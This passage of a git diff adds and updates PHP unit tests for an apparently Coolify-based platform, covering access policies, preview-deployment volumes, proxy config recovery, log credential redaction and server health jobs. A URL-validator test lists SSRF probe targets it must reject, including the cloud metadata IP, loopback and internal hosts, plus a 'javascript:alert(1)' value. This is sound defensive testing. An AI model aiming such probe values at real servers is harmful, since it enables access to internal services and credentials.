a/tests/Unit/Policies/GithubAppPolicyTest.php b/tests/Unit/Policies/GithubAppPolicyTest.php new file mode 100644 index 000000000..55ba7f3d3 --- /dev/null +++ b/tests/Unit/Policies/GithubAppPolicyTest.php @@ -0,0 +1,227 @@ +makePartial(); + + $policy = new GithubAppPolicy; + expect($policy->viewAny($user))->toBeTrue(); +}); + +it('allows any user to view system-wide github app', function () { + $user = Mockery::mock(User::class)->makePartial(); + + $model = new class + { + public $team_id = 1; + + public $is_system_wide = true; + }; + + $policy = new GithubAppPolicy; + expect($policy->view($user, $model))->toBeTrue(); +}); + +it('allows team member to view non-system-wide github app', function () { + $teams = collect([ + (object) ['id' => 1, 'pivot' => (object) ['role' => 'member']], + ]); + + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); + + $model = new class + { + public $team_id = 1; + + public $is_system_wide = false; + }; + + $policy = new GithubAppPolicy; + expect($policy->view($user, $model))->toBeTrue(); +}); + +it('denies non-team member to view non-system-wide github app', function () { + $teams = collect([ + (object) ['id' => 2, 'pivot' => (object) ['role' => 'member']], + ]); + + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); + + $model = new class + { + public $team_id = 1; + + public $is_system_wide = false; + }; + + $policy = new GithubAppPolicy; + expect($policy->view($user, $model))->toBeFalse(); +}); + +it('allows admin to create github app', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdmin')->andReturn(true); + + $policy = new GithubAppPolicy; + expect($policy->create($user))->toBeTrue(); +}); + +it('denies non-admin to create github app', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdmin')->andReturn(false); + + $policy = new GithubAppPolicy; + expect($policy->create($user))->toBeFalse(); +}); + +it('allows user with system access to update system-wide github app', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('canAccessSystemResources')->andReturn(true); + + $model = new class + { + public $team_id = 1; + + public $is_system_wide = true; + }; + + $policy = new GithubAppPolicy; + expect($policy->update($user, $model))->toBeTrue(); +}); + +it('denies user without system access to update system-wide github app', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('canAccessSystemResources')->andReturn(false); + + $model = new class + { + public $team_id = 1; + + public $is_system_wide = true; + }; + + $policy = new GithubAppPolicy; + expect($policy->update($user, $model))->toBeFalse(); +}); + +it('allows team admin to update non-system-wide github app', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); + + $model = new class + { + public $team_id = 1; + + public $is_system_wide = false; + }; + + $policy = new GithubAppPolicy; + expect($policy->update($user, $model))->toBeTrue(); +}); + +it('denies team member to update non-system-wide github app', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); + + $model = new class + { + public $team_id = 1; + + public $is_system_wide = false; + }; + + $policy = new GithubAppPolicy; + expect($policy->update($user, $model))->toBeFalse(); +}); + +it('allows user with system access to delete system-wide github app', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('canAccessSystemResources')->andReturn(true); + + $model = new class + { + public $team_id = 1; + + public $is_system_wide = true; + }; + + $policy = new GithubAppPolicy; + expect($policy->delete($user, $model))->toBeTrue(); +}); + +it('denies user without system access to delete system-wide github app', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('canAccessSystemResources')->andReturn(false); + + $model = new class + { + public $team_id = 1; + + public $is_system_wide = true; + }; + + $policy = new GithubAppPolicy; + expect($policy->delete($user, $model))->toBeFalse(); +}); + +it('allows team admin to delete non-system-wide github app', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); + + $model = new class + { + public $team_id = 1; + + public $is_system_wide = false; + }; + + $policy = new GithubAppPolicy; + expect($policy->delete($user, $model))->toBeTrue(); +}); + +it('denies team member to delete non-system-wide github app', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); + + $model = new class + { + public $team_id = 1; + + public $is_system_wide = false; + }; + + $policy = new GithubAppPolicy; + expect($policy->delete($user, $model))->toBeFalse(); +}); + +it('denies restore of github app', function () { + $user = Mockery::mock(User::class)->makePartial(); + + $model = new class + { + public $team_id = 1; + + public $is_system_wide = false; + }; + + $policy = new GithubAppPolicy; + expect($policy->restore($user, $model))->toBeFalse(); +}); + +it('denies force delete of github app', function () { + $user = Mockery::mock(User::class)->makePartial(); + + $model = new class + { + public $team_id = 1; + + public $is_system_wide = false; + }; + + $policy = new GithubAppPolicy; + expect($policy->forceDelete($user, $model))->toBeFalse(); +}); diff --git a/tests/Unit/Policies/SharedEnvironmentVariablePolicyTest.php b/tests/Unit/Policies/SharedEnvironmentVariablePolicyTest.php new file mode 100644 index 000000000..f993978f9 --- /dev/null +++ b/tests/Unit/Policies/SharedEnvironmentVariablePolicyTest.php @@ -0,0 +1,163 @@ +makePartial(); + + $policy = new SharedEnvironmentVariablePolicy; + expect($policy->viewAny($user))->toBeTrue(); +}); + +it('allows team member to view their team shared environment variable', function () { + $teams = collect([ + (object) ['id' => 1, 'pivot' => (object) ['role' => 'member']], + ]); + + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); + + $model = new class + { + public $team_id = 1; + }; + + $policy = new SharedEnvironmentVariablePolicy; + expect($policy->view($user, $model))->toBeTrue(); +}); + +it('denies non-team member to view shared environment variable', function () { + $teams = collect([ + (object) ['id' => 1, 'pivot' => (object) ['role' => 'member']], + ]); + + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); + + $model = new class + { + public $team_id = 2; + }; + + $policy = new SharedEnvironmentVariablePolicy; + expect($policy->view($user, $model))->toBeFalse(); +}); + +it('allows admin to create shared environment variable', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdmin')->andReturn(true); + + $policy = new SharedEnvironmentVariablePolicy; + expect($policy->create($user))->toBeTrue(); +}); + +it('denies non-admin to create shared environment variable', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdmin')->andReturn(false); + + $policy = new SharedEnvironmentVariablePolicy; + expect($policy->create($user))->toBeFalse(); +}); + +it('allows team admin to update shared environment variable', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); + + $model = new class + { + public $team_id = 1; + }; + + $policy = new SharedEnvironmentVariablePolicy; + expect($policy->update($user, $model))->toBeTrue(); +}); + +it('denies team member to update shared environment variable', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); + + $model = new class + { + public $team_id = 1; + }; + + $policy = new SharedEnvironmentVariablePolicy; + expect($policy->update($user, $model))->toBeFalse(); +}); + +it('allows team admin to delete shared environment variable', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); + + $model = new class + { + public $team_id = 1; + }; + + $policy = new SharedEnvironmentVariablePolicy; + expect($policy->delete($user, $model))->toBeTrue(); +}); + +it('denies team member to delete shared environment variable', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); + + $model = new class + { + public $team_id = 1; + }; + + $policy = new SharedEnvironmentVariablePolicy; + expect($policy->delete($user, $model))->toBeFalse(); +}); + +it('denies restore of shared environment variable', function () { + $user = Mockery::mock(User::class)->makePartial(); + + $model = new class + { + public $team_id = 1; + }; + + $policy = new SharedEnvironmentVariablePolicy; + expect($policy->restore($user, $model))->toBeFalse(); +}); + +it('denies force delete of shared environment variable', function () { + $user = Mockery::mock(User::class)->makePartial(); + + $model = new class + { + public $team_id = 1; + }; + + $policy = new SharedEnvironmentVariablePolicy; + expect($policy->forceDelete($user, $model))->toBeFalse(); +}); + +it('allows team admin to manage environment', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); + + $model = new class + { + public $team_id = 1; + }; + + $policy = new SharedEnvironmentVariablePolicy; + expect($policy->manageEnvironment($user, $model))->toBeTrue(); +}); + +it('denies team member to manage environment', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); + + $model = new class + { + public $team_id = 1; + }; + + $policy = new SharedEnvironmentVariablePolicy; + expect($policy->manageEnvironment($user, $model))->toBeFalse(); +}); diff --git a/tests/Unit/PreviewDeploymentBindMountTest.php b/tests/Unit/PreviewDeploymentBindMountTest.php new file mode 100644 index 000000000..0bf23e4e3 --- /dev/null +++ b/tests/Unit/PreviewDeploymentBindMountTest.php @@ -0,0 +1,176 @@ +destination->server, etc.), making them + * unsuitable for unit tests. Integration tests for those paths belong + * in tests/Feature/. + */ +describe('addPreviewDeploymentSuffix', function () { + it('appends -pr-N suffix for non-zero pull request id', function () { + expect(addPreviewDeploymentSuffix('myvolume', 3))->toBe('myvolume-pr-3'); + }); + + it('returns name unchanged when pull request id is zero', function () { + expect(addPreviewDeploymentSuffix('myvolume', 0))->toBe('myvolume'); + }); + + it('handles pull request id of 1', function () { + expect(addPreviewDeploymentSuffix('scripts', 1))->toBe('scripts-pr-1'); + }); + + it('handles large pull request ids', function () { + expect(addPreviewDeploymentSuffix('data', 9999))->toBe('data-pr-9999'); + }); + + it('handles names with dots and slashes', function () { + expect(addPreviewDeploymentSuffix('./scripts', 2))->toBe('./scripts-pr-2'); + }); + + it('handles names with existing hyphens', function () { + expect(addPreviewDeploymentSuffix('my-volume-name', 5))->toBe('my-volume-name-pr-5'); + }); + + it('handles empty name with non-zero pr id', function () { + expect(addPreviewDeploymentSuffix('', 1))->toBe('-pr-1'); + }); + + it('handles uuid-prefixed volume names', function () { + $uuid = 'abc123_my-volume'; + expect(addPreviewDeploymentSuffix($uuid, 7))->toBe('abc123_my-volume-pr-7'); + }); + + it('defaults pull_request_id to 0', function () { + expect(addPreviewDeploymentSuffix('myvolume'))->toBe('myvolume'); + }); +}); + +describe('sourceIsLocal', function () { + it('detects relative paths starting with dot-slash', function () { + expect(sourceIsLocal(str('./scripts')))->toBeTrue(); + }); + + it('detects absolute paths starting with slash', function () { + expect(sourceIsLocal(str('/var/data')))->toBeTrue(); + }); + + it('detects tilde paths', function () { + expect(sourceIsLocal(str('~/data')))->toBeTrue(); + }); + + it('detects parent directory paths', function () { + expect(sourceIsLocal(str('../config')))->toBeTrue(); + }); + + it('returns false for named volumes', function () { + expect(sourceIsLocal(str('myvolume')))->toBeFalse(); + }); +}); + +describe('replaceLocalSource', function () { + it('replaces dot-slash prefix with target path', function () { + $result = replaceLocalSource(str('./scripts'), str('/app')); + expect((string) $result)->toBe('/app/scripts'); + }); + + it('replaces dot-dot-slash prefix with target path', function () { + $result = replaceLocalSource(str('../config'), str('/app')); + expect((string) $result)->toBe('/app./config'); + }); + + it('replaces tilde prefix with target path', function () { + $result = replaceLocalSource(str('~/data'), str('/app')); + expect((string) $result)->toBe('/app/data'); + }); +}); + +/** + * Source-code structure tests for parser and deployment job. + * + * These verify that key code patterns exist in the parser and deployment job. + * They are intentionally text-based because the parser/deployment functions + * require database-persisted models with deep relationships, making behavioral + * unit tests impractical. Full behavioral coverage should be done via Feature tests. + */ +describe('parser structure: bind mount handling', function () { + it('checks is_preview_suffix_enabled before applying suffix', function () { + $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); + + $bindBlockStart = strpos($parsersFile, "if (\$type->value() === 'bind')"); + $volumeBlockStart = strpos($parsersFile, "} elseif (\$type->value() === 'volume')"); + $bindBlock = substr($parsersFile, $bindBlockStart, $volumeBlockStart - $bindBlockStart); + + expect($bindBlock) + ->toContain('$isPreviewSuffixEnabled') + ->toContain('is_preview_suffix_enabled') + ->toContain('addPreviewDeploymentSuffix'); + }); + + it('applies preview suffix to named volumes', function () { + $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); + + $volumeBlockStart = strpos($parsersFile, "} elseif (\$type->value() === 'volume')"); + $volumeBlock = substr($parsersFile, $volumeBlockStart, 1000); + + expect($volumeBlock)->toContain('addPreviewDeploymentSuffix'); + }); +}); + +describe('parser structure: label generation uuid isolation', function () { + it('uses labelUuid instead of mutating shared uuid', function () { + $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); + + $labelBlockStart = strpos($parsersFile, '$shouldGenerateLabelsExactly = $resource->destination->server->settings->generate_exact_labels;'); + $labelBlock = substr($parsersFile, $labelBlockStart, 300); + + expect($labelBlock) + ->toContain('$labelUuid = $resource->uuid') + ->not->toContain('$uuid = $resource->uuid') + ->not->toContain('$uuid = "{$resource->uuid}'); + }); + + it('uses labelUuid in all proxy label generation calls', function () { + $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); + + $labelBlockStart = strpos($parsersFile, '$shouldGenerateLabelsExactly'); + $labelBlockEnd = strpos($parsersFile, "data_forget(\$service, 'volumes.*.content')"); + $labelBlock = substr($parsersFile, $labelBlockStart, $labelBlockEnd - $labelBlockStart); + + expect($labelBlock) + ->toContain('uuid: $labelUuid') + ->not->toContain('uuid: $uuid'); + }); +}); + +describe('deployment job structure: is_preview_suffix_enabled', function () { + it('checks setting in generate_local_persistent_volumes', function () { + $deploymentJobFile = file_get_contents(__DIR__.'/../../app/Jobs/ApplicationDeploymentJob.php'); + + $methodStart = strpos($deploymentJobFile, 'function generate_local_persistent_volumes()'); + $methodEnd = strpos($deploymentJobFile, 'function generate_local_persistent_volumes_only_volume_names()'); + $methodBlock = substr($deploymentJobFile, $methodStart, $methodEnd - $methodStart); + + expect($methodBlock) + ->toContain('is_preview_suffix_enabled') + ->toContain('$isPreviewSuffixEnabled') + ->toContain('addPreviewDeploymentSuffix'); + }); + + it('checks setting in generate_local_persistent_volumes_only_volume_names', function () { + $deploymentJobFile = file_get_contents(__DIR__.'/../../app/Jobs/ApplicationDeploymentJob.php'); + + $methodStart = strpos($deploymentJobFile, 'function generate_local_persistent_volumes_only_volume_names()'); + $methodEnd = strpos($deploymentJobFile, 'function generate_healthcheck_commands()'); + $methodBlock = substr($deploymentJobFile, $methodStart, $methodEnd - $methodStart); + + expect($methodBlock) + ->toContain('is_preview_suffix_enabled') + ->toContain('$isPreviewSuffixEnabled') + ->toContain('addPreviewDeploymentSuffix'); + }); +}); diff --git a/tests/Unit/PrivateKeyStorageTest.php b/tests/Unit/PrivateKeyStorageTest.php index 00f39e3df..09472604b 100644 --- a/tests/Unit/PrivateKeyStorageTest.php +++ b/tests/Unit/PrivateKeyStorageTest.php @@ -112,7 +112,7 @@ public function it_throws_exception_when_storage_directory_is_not_writable() ); $this->expectException(\Exception::class); - $this->expectExceptionMessage('SSH keys storage directory is not writable'); + $this->expectExceptionMessage('SSH keys storage directory is not writable. Run on the host: sudo chown -R 9999 /data/coolify/ssh && sudo chmod -R 700 /data/coolify/ssh && docker restart coolify'); PrivateKey::createAndStore([ 'name' => 'Test Key', diff --git a/tests/Unit/ProxyConfigRecoveryTest.php b/tests/Unit/ProxyConfigRecoveryTest.php new file mode 100644 index 000000000..e10d899fe --- /dev/null +++ b/tests/Unit/ProxyConfigRecoveryTest.php @@ -0,0 +1,173 @@ +shouldReceive('get') + ->with('last_saved_proxy_configuration') + ->andReturn($savedConfig); + + $proxyPath = match ($proxyType) { + 'CADDY' => '/data/coolify/proxy/caddy', + 'NGINX' => '/data/coolify/proxy/nginx', + default => '/data/coolify/proxy/', + }; + + $server = Mockery::mock('App\Models\Server'); + $server->shouldIgnoreMissing(); + $server->shouldReceive('getAttribute')->with('proxy')->andReturn($proxyAttributes); + $server->shouldReceive('getAttribute')->with('id')->andReturn(1); + $server->shouldReceive('getAttribute')->with('name')->andReturn('Test Server'); + $server->shouldReceive('proxyType')->andReturn($proxyType); + $server->shouldReceive('proxyPath')->andReturn($proxyPath); + + return $server; +} + +it('returns OK for NONE proxy type without reading config', function () { + $server = Mockery::mock('App\Models\Server'); + $server->shouldIgnoreMissing(); + $server->shouldReceive('proxyType')->andReturn('NONE'); + + $result = GetProxyConfiguration::run($server); + + expect($result)->toBe('OK'); +}); + +it('reads proxy configuration from database', function () { + $savedConfig = "services:\n traefik:\n image: traefik:v3.5\n"; + $server = mockServerWithDbConfig($savedConfig); + + // ProxyDashboardCacheService is called at the end — mock it + $server->shouldReceive('proxyType')->andReturn('TRAEFIK'); + + $result = GetProxyConfiguration::run($server); + + expect($result)->toBe($savedConfig); +}); + +it('preserves full custom config including labels, env vars, and custom commands', function () { + $customConfig = <<<'YAML' +services: + traefik: + image: traefik:v3.5 + command: + - '--entrypoints.http.address=:80' + - '--metrics.prometheus=true' + labels: + - 'traefik.enable=true' + - 'waf.custom.middleware=true' + environment: + CF_API_EMAIL: user@example.com + CF_API_KEY: secret-key +YAML; + + $server = mockServerWithDbConfig($customConfig); + + $result = GetProxyConfiguration::run($server); + + expect($result)->toBe($customConfig) + ->and($result)->toContain('waf.custom.middleware=true') + ->and($result)->toContain('CF_API_EMAIL') + ->and($result)->toContain('metrics.prometheus=true'); +}); + +it('logs warning when regenerating defaults', function () { + Log::swap(new \Illuminate\Log\LogManager(app())); + Log::spy(); + + // No DB config, no disk config — will try to regenerate + $server = mockServerWithDbConfig(null); + + // backfillFromDisk will be called — we need instant_remote_process to return empty + // Since it's a global function we can't easily mock it, so test the logging via + // the force regenerate path instead + try { + GetProxyConfiguration::run($server, forceRegenerate: true); + } catch (\Throwable $e) { + // generateDefaultProxyConfiguration may fail without full server setup + } + + Log::shouldHaveReceived('warning') + ->withArgs(fn ($message) => str_contains($message, 'regenerated to defaults')) + ->once(); +}); + +it('does not read from disk when DB config exists', function () { + $savedConfig = "services:\n traefik:\n image: traefik:v3.5\n"; + $server = mockServerWithDbConfig($savedConfig); + + // If disk were read, instant_remote_process would be called. + // Since we're not mocking it and the test passes, it proves DB is used. + $result = GetProxyConfiguration::run($server); + + expect($result)->toBe($savedConfig); +}); + +it('rejects stored Traefik config when proxy type is CADDY', function () { + Log::swap(new \Illuminate\Log\LogManager(app())); + Log::spy(); + + $traefikConfig = "services:\n traefik:\n image: traefik:v3.6\n"; + $server = mockServerWithDbConfig($traefikConfig, 'CADDY'); + + // Config type mismatch should trigger regeneration, which will try + // backfillFromDisk (instant_remote_process) then generateDefault. + // Both will fail in test env, but the warning log proves mismatch was detected. + try { + GetProxyConfiguration::run($server); + } catch (\Throwable $e) { + // Expected — regeneration requires SSH/full server setup + } + + Log::shouldHaveReceived('warning') + ->withArgs(fn ($message) => str_contains($message, 'does not match current proxy type')) + ->once(); +}); + +it('rejects stored Caddy config when proxy type is TRAEFIK', function () { + Log::swap(new \Illuminate\Log\LogManager(app())); + Log::spy(); + + $caddyConfig = "services:\n caddy:\n image: lucaslorentz/caddy-docker-proxy:2.8-alpine\n"; + $server = mockServerWithDbConfig($caddyConfig, 'TRAEFIK'); + + try { + GetProxyConfiguration::run($server); + } catch (\Throwable $e) { + // Expected — regeneration requires SSH/full server setup + } + + Log::shouldHaveReceived('warning') + ->withArgs(fn ($message) => str_contains($message, 'does not match current proxy type')) + ->once(); +}); + +it('accepts stored Caddy config when proxy type is CADDY', function () { + $caddyConfig = "services:\n caddy:\n image: lucaslorentz/caddy-docker-proxy:2.8-alpine\n"; + $server = mockServerWithDbConfig($caddyConfig, 'CADDY'); + + $result = GetProxyConfiguration::run($server); + + expect($result)->toBe($caddyConfig); +}); + +it('accepts stored config when YAML parsing fails', function () { + $invalidYaml = "this: is: not: [valid yaml: {{{}}}"; + $server = mockServerWithDbConfig($invalidYaml, 'TRAEFIK'); + + // Invalid YAML should not block — configMatchesProxyType returns true on parse failure + $result = GetProxyConfiguration::run($server); + + expect($result)->toBe($invalidYaml); +}); diff --git a/tests/Unit/SafeExternalUrlTest.php b/tests/Unit/SafeExternalUrlTest.php new file mode 100644 index 000000000..b2bc13337 --- /dev/null +++ b/tests/Unit/SafeExternalUrlTest.php @@ -0,0 +1,75 @@ + $url], ['url' => $rule]); + expect($validator->passes())->toBeTrue("Expected valid: {$url}"); + } +}); + +it('rejects private IPv4 addresses', function (string $url) { + $rule = new SafeExternalUrl; + + $validator = Validator::make(['url' => $url], ['url' => $rule]); + expect($validator->fails())->toBeTrue("Expected rejection: {$url}"); +})->with([ + 'loopback' => 'http://127.0.0.1', + 'loopback with port' => 'http://127.0.0.1:6379', + '10.x range' => 'http://10.0.0.1', + '172.16.x range' => 'http://172.16.0.1', + '192.168.x range' => 'http://192.168.1.1', +]); + +it('rejects cloud metadata IP', function () { + $rule = new SafeExternalUrl; + + $validator = Validator::make(['url' => 'http://169.254.169.254'], ['url' => $rule]); + expect($validator->fails())->toBeTrue('Expected rejection: cloud metadata IP'); +}); + +it('rejects localhost and internal hostnames', function (string $url) { + $rule = new SafeExternalUrl; + + $validator = Validator::make(['url' => $url], ['url' => $rule]); + expect($validator->fails())->toBeTrue("Expected rejection: {$url}"); +})->with([ + 'localhost' => 'http://localhost', + 'localhost with port' => 'http://localhost:8080', + 'zero address' => 'http://0.0.0.0', + '.local domain' => 'http://myservice.local', + '.internal domain' => 'http://myservice.internal', +]); + +it('rejects non-URL strings', function (string $value) { + $rule = new SafeExternalUrl; + + $validator = Validator::make(['url' => $value], ['url' => $rule]); + expect($validator->fails())->toBeTrue("Expected rejection: {$value}"); +})->with([ + 'plain string' => 'not-a-url', + 'ftp scheme' => 'ftp://example.com', + 'javascript scheme' => 'javascript:alert(1)', + 'no scheme' => 'example.com', +]); + +it('rejects URLs with IPv6 loopback', function () { + $rule = new SafeExternalUrl; + + $validator = Validator::make(['url' => 'http://[::1]'], ['url' => $rule]); + expect($validator->fails())->toBeTrue('Expected rejection: IPv6 loopback'); +}); diff --git a/tests/Unit/SanitizeLogsForExportTest.php b/tests/Unit/SanitizeLogsForExportTest.php index 39d16c993..285230ea4 100644 --- a/tests/Unit/SanitizeLogsForExportTest.php +++ b/tests/Unit/SanitizeLogsForExportTest.php @@ -153,6 +153,22 @@ expect($result)->toContain('aws_secret_access_key='.REDACTED); }); +it('removes HTTPS basic auth passwords from git URLs', function () { + $testCases = [ + 'https://oauth2:glpat-xxxxxxxxxxxx@gitlab.com/user/repo.git' => 'https://oauth2:'.REDACTED.'@'.REDACTED, + 'https://user:my-secret-token@gitlab.example.com/group/repo.git' => 'https://user:'.REDACTED.'@'.REDACTED, + 'http://deploy:token123@git.internal.com/repo.git' => 'http://deploy:'.REDACTED.'@'.REDACTED, + ]; + + foreach ($testCases as $input => $notExpected) { + $result = sanitizeLogsForExport($input); + // The password should be redacted + expect($result)->not->toContain('glpat-xxxxxxxxxxxx'); + expect($result)->not->toContain('my-secret-token'); + expect($result)->not->toContain('token123'); + } +}); + it('removes generic URL passwords', function () { $testCases = [ 'ftp://user:ftppass@ftp.example.com/path' => 'ftp://user:'.REDACTED.'@ftp.example.com/path', diff --git a/tests/Unit/ScheduledJobManagerLockTest.php b/tests/Unit/ScheduledJobManagerLockTest.php index 3f3ae593a..577730f47 100644 --- a/tests/Unit/ScheduledJobManagerLockTest.php +++ b/tests/Unit/ScheduledJobManagerLockTest.php @@ -24,7 +24,7 @@ $expiresAfterProperty->setAccessible(true); $expiresAfter = $expiresAfterProperty->getValue($overlappingMiddleware); - expect($expiresAfter)->toBe(60) + expect($expiresAfter)->toBe(90) ->and($expiresAfter)->toBeGreaterThan(0, 'expireAfter must be set to prevent stale locks'); // Check releaseAfter is NOT set (we use dontRelease) diff --git a/tests/Unit/ServerManagerJobSentinelCheckTest.php b/tests/Unit/ServerManagerJobSentinelCheckTest.php index 0f2613f11..dc28d18fe 100644 --- a/tests/Unit/ServerManagerJobSentinelCheckTest.php +++ b/tests/Unit/ServerManagerJobSentinelCheckTest.php @@ -1,32 +1,31 @@ instance_timezone = 'UTC'; $this->app->instance(InstanceSettings::class, $settings); - // Create a mock server with sentinel enabled $server = Mockery::mock(Server::class)->makePartial(); $server->shouldReceive('isSentinelEnabled')->andReturn(true); + $server->shouldReceive('isSentinelLive')->andReturn(true); $server->id = 1; $server->name = 'test-server'; $server->ip = '192.168.1.100'; @@ -34,29 +33,76 @@ $server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'UTC']); $server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120); - // Mock the Server query Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf(); Server::shouldReceive('get')->andReturn(collect([$server])); - // Execute the job $job = new ServerManagerJob; $job->handle(); - // Assert CheckAndStartSentinelJob was dispatched for the sentinel-enabled server - Queue::assertPushed(CheckAndStartSentinelJob::class, function ($job) use ($server) { - return $job->server->id === $server->id; - }); + // Hourly CheckAndStartSentinelJob dispatch was removed — ServerCheckJob handles it when Sentinel is out of sync + Queue::assertNotPushed(CheckAndStartSentinelJob::class); }); -it('does not dispatch CheckAndStartSentinelJob for servers without sentinel enabled', function () { - // Mock InstanceSettings +it('skips ServerConnectionCheckJob when sentinel is live', function () { + $settings = Mockery::mock(InstanceSettings::class); + $settings->instance_timezone = 'UTC'; + $this->app->instance(InstanceSettings::class, $settings); + + $server = Mockery::mock(Server::class)->makePartial(); + $server->shouldReceive('isSentinelEnabled')->andReturn(true); + $server->shouldReceive('isSentinelLive')->andReturn(true); + $server->id = 1; + $server->name = 'test-server'; + $server->ip = '192.168.1.100'; + $server->sentinel_updated_at = Carbon::now(); + $server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'UTC']); + $server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120); + + Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf(); + Server::shouldReceive('get')->andReturn(collect([$server])); + + $job = new ServerManagerJob; + $job->handle(); + + // Sentinel is healthy so SSH connection check is skipped + Queue::assertNotPushed(ServerConnectionCheckJob::class); +}); + +it('dispatches ServerConnectionCheckJob when sentinel is not live', function () { + $settings = Mockery::mock(InstanceSettings::class); + $settings->instance_timezone = 'UTC'; + $this->app->instance(InstanceSettings::class, $settings); + + $server = Mockery::mock(Server::class)->makePartial(); + $server->shouldReceive('isSentinelEnabled')->andReturn(true); + $server->shouldReceive('isSentinelLive')->andReturn(false); + $server->id = 1; + $server->name = 'test-server'; + $server->ip = '192.168.1.100'; + $server->sentinel_updated_at = Carbon::now()->subMinutes(10); + $server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'UTC']); + $server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120); + + Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf(); + Server::shouldReceive('get')->andReturn(collect([$server])); + + $job = new ServerManagerJob; + $job->handle(); + + // Sentinel is out of sync so SSH connection check is needed + Queue::assertPushed(ServerConnectionCheckJob::class, function ($job) use ($server) { + return $job->server->id === $server->id; + }); +}); + +it('dispatches ServerConnectionCheckJob when sentinel is not enabled', function () { $settings = Mockery::mock(InstanceSettings::class); $settings->instance_timezone = 'UTC'; $this->app->instance(InstanceSettings::class, $settings); - // Create a mock server with sentinel disabled $server = Mockery::mock(Server::class)->makePartial(); $server->shouldReceive('isSentinelEnabled')->andReturn(false); + $server->shouldReceive('isSentinelLive')->never(); $server->id = 2; $server->name = 'test-server-no-sentinel'; $server->ip = '192.168.1.101'; @@ -64,78 +110,14 @@ $server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'UTC']); $server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120); - // Mock the Server query Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf(); Server::shouldReceive('get')->andReturn(collect([$server])); - // Execute the job $job = new ServerManagerJob; $job->handle(); - // Assert CheckAndStartSentinelJob was NOT dispatched - Queue::assertNotPushed(CheckAndStartSentinelJob::class); -}); - -it('respects server timezone when scheduling sentinel checks', function () { - // Mock InstanceSettings - $settings = Mockery::mock(InstanceSettings::class); - $settings->instance_timezone = 'UTC'; - $this->app->instance(InstanceSettings::class, $settings); - - // Set test time to top of hour in America/New_York (which is 17:00 UTC) - Carbon::setTestNow('2025-01-15 17:00:00'); // 12:00 PM EST (top of hour in EST) - - // Create a mock server with sentinel enabled and America/New_York timezone - $server = Mockery::mock(Server::class)->makePartial(); - $server->shouldReceive('isSentinelEnabled')->andReturn(true); - $server->id = 3; - $server->name = 'test-server-est'; - $server->ip = '192.168.1.102'; - $server->sentinel_updated_at = Carbon::now(); - $server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'America/New_York']); - $server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120); - - // Mock the Server query - Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf(); - Server::shouldReceive('get')->andReturn(collect([$server])); - - // Execute the job - $job = new ServerManagerJob; - $job->handle(); - - // Assert CheckAndStartSentinelJob was dispatched (should run at top of hour in server's timezone) - Queue::assertPushed(CheckAndStartSentinelJob::class, function ($job) use ($server) { + // Sentinel is not enabled so SSH connection check must run + Queue::assertPushed(ServerConnectionCheckJob::class, function ($job) use ($server) { return $job->server->id === $server->id; }); }); - -it('does not dispatch sentinel check when not at top of hour', function () { - // Mock InstanceSettings - $settings = Mockery::mock(InstanceSettings::class); - $settings->instance_timezone = 'UTC'; - $this->app->instance(InstanceSettings::class, $settings); - - // Set test time to middle of the hour (not top of hour) - Carbon::setTestNow('2025-01-15 12:30:00'); - - // Create a mock server with sentinel enabled - $server = Mockery::mock(Server::class)->makePartial(); - 